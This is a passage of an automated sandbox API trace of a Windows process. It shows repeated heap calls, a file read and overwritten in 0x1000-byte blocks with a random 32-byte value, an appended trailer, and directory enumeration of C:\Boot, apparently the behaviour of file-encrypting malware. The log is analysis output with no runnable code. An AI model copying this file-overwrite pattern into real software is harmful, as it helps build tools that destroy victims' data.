dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ad48 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.544] GetProcessHeap () returned 0x540000 [0077.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ad48 | out: hHeap=0x540000) returned 1 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.545] GetProcessHeap () returned 0x540000 [0077.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.545] GetProcessHeap () returned 0x540000 [0077.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.546] GetProcessHeap () returned 0x540000 [0077.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.546] GetProcessHeap () returned 0x540000 [0077.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.547] GetProcessHeap () returned 0x540000 [0077.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.547] GetProcessHeap () returned 0x540000 [0077.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0077.547] GetProcessHeap () returned 0x540000 [0077.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.547] GetProcessHeap () returned 0x540000 [0077.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0077.547] GetProcessHeap () returned 0x540000 [0077.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0077.547] GetProcessHeap () returned 0x540000 [0077.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.547] GetProcessHeap () returned 0x540000 [0077.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0077.547] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.547] WriteFile (in: hFile=0x7b0, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0077.548] WriteFile (in: hFile=0x7b0, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0077.548] GetProcessHeap () returned 0x540000 [0077.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333aa68 | out: hHeap=0x540000) returned 1 [0077.548] GetProcessHeap () returned 0x540000 [0077.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0077.548] GetProcessHeap () returned 0x540000 [0077.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0077.548] CloseHandle (hObject=0x7b0) returned 1 [0077.549] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 1 [0077.549] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.549] ReadFile (in: hFile=0x7b8, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0077.549] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.549] GetProcessHeap () returned 0x540000 [0077.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0077.549] GetProcessHeap () returned 0x540000 [0077.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0077.549] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0077.549] GetProcessHeap () returned 0x540000 [0077.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x333aa68 [0077.549] ReadFile (in: hFile=0x7b8, lpBuffer=0x333aa68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x333aa68*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0077.618] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.618] WriteFile (in: hFile=0x7b8, lpBuffer=0x333aa68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x333aa68*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0077.618] GetProcessHeap () returned 0x540000 [0077.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0077.618] GetProcessHeap () returned 0x540000 [0077.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.618] GetProcessHeap () returned 0x540000 [0077.618] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0077.618] GetProcessHeap () returned 0x540000 [0077.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.618] GetProcessHeap () returned 0x540000 [0077.618] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0077.618] GetProcessHeap () returned 0x540000 [0077.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.619] GetProcessHeap () returned 0x540000 [0077.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ad48 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ad48 | out: hHeap=0x540000) returned 1 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0077.620] GetProcessHeap () returned 0x540000 [0077.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0077.620] GetProcessHeap () returned 0x540000 [0077.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.621] GetProcessHeap () returned 0x540000 [0077.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.622] GetProcessHeap () returned 0x540000 [0077.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.622] GetProcessHeap () returned 0x540000 [0077.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.623] GetProcessHeap () returned 0x540000 [0077.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.623] GetProcessHeap () returned 0x540000 [0077.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0077.623] GetProcessHeap () returned 0x540000 [0077.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.623] GetProcessHeap () returned 0x540000 [0077.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0077.623] GetProcessHeap () returned 0x540000 [0077.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0077.623] GetProcessHeap () returned 0x540000 [0077.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.623] GetProcessHeap () returned 0x540000 [0077.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0077.623] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.623] WriteFile (in: hFile=0x7b8, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0077.623] WriteFile (in: hFile=0x7b8, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0077.623] GetProcessHeap () returned 0x540000 [0077.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333aa68 | out: hHeap=0x540000) returned 1 [0077.623] GetProcessHeap () returned 0x540000 [0077.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0077.623] GetProcessHeap () returned 0x540000 [0077.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0077.623] CloseHandle (hObject=0x7b8) returned 1 [0077.625] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 2 [0077.625] GetProcessHeap () returned 0x540000 [0077.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41c0088 [0077.625] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\*") returned 19 [0077.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a5a54b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5a54b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.626] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\.") returned 19 [0077.626] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a5a54b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5a54b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.626] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\..") returned 20 [0077.626] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.626] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: 